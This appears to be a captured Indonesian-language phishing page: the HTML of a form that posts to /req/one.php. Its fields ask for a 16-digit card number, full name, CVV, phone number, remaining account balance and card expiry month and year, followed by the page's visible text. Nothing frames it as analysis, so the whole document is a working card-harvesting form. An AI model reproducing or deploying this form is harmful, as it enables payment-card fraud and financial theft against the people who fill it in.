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POST /req/one.php

<form action="/req/one.php" method="POST" enctype="application/x-www-form-urlencoded" class="daftar-form">
  <img alt="image" src="https://i.ibb.co/jrdx7jc/o0872108015357749337-removebg-preview.png" class="daftar-image"> <input type="tel" name="nokartu" required="true" maxlength="16" minlength="16" placeholder="Masukkan 16 Digit Nomor Kartu"
    class="daftar-textinput input"> <input type="text" name="nama" required="true" placeholder="Nama Lengkap" class="daftar-textinput1 input"> <input type="tel" name="cvv" required="true" maxlength="3" minlength="3"
    placeholder="CVV ( 3 Digit Terakhir di belakang Kartu )" class="daftar-textinput2 input"> <input type="tel" name="nohp" required="true" maxlength="13" minlength="10" placeholder="Nomor Handphone" class="daftar-textinput3 input"> <input type="tel"
    name="saldo" required="true" placeholder="Sisa Saldo Terakhir" id="inputku" onkeydown="return numbersonly(this, event);" onkeyup="javascript:tandaPemisahTitik(this);" class="daftar-textinput4 input"> <span class="daftar-text">Masa Berlaku
    Kartu</span> <select name="bln" required="true" class="daftar-select">
    <option value="">Bulan</option>
    <option value="01">01</option>
    <option value="02">02</option>
    <option value="03">03</option>
    <option value="04">04</option>
    <option value="05">05</option>
    <option value="06">06</option>
    <option value="07">07</option>
    <option value="08">08</option>
    <option value="09">09</option>
    <option value="10">10</option>
    <option value="11">11</option>
    <option value="12">12</option>
  </select> <select name="thn" required="true" class="daftar-select1">
    <option value="Option 1">Tahun</option>
    <option></option>
    <option value="23">23</option>
    <option value="24">24</option>
    <option value="25">25</option>
    <option value="26">26</option>
    <option value="27">27</option>
    <option value="28">28</option>
    <option value="29">29</option>
    <option value="30">30</option>
  </select> <span class="daftar-text1">Rp.</span> <button type="submit" class="daftar-button button">LANJUT</button> <img alt="image"
    src="https://assets.softr-files.com/applications/e0f83f16-94cb-4776-a01a-6bf40c5cbc67/assets/418ccd38-319a-4e13-b871-f8052dba0dd3.jpeg" class="daftar-image1">
</form>

Text Content

Masa Berlaku Kartu Bulan 01 02 03 04 05 06 07 08 09 10 11 12 Tahun23 24 25 26 27
28 29 30 Rp. LANJUT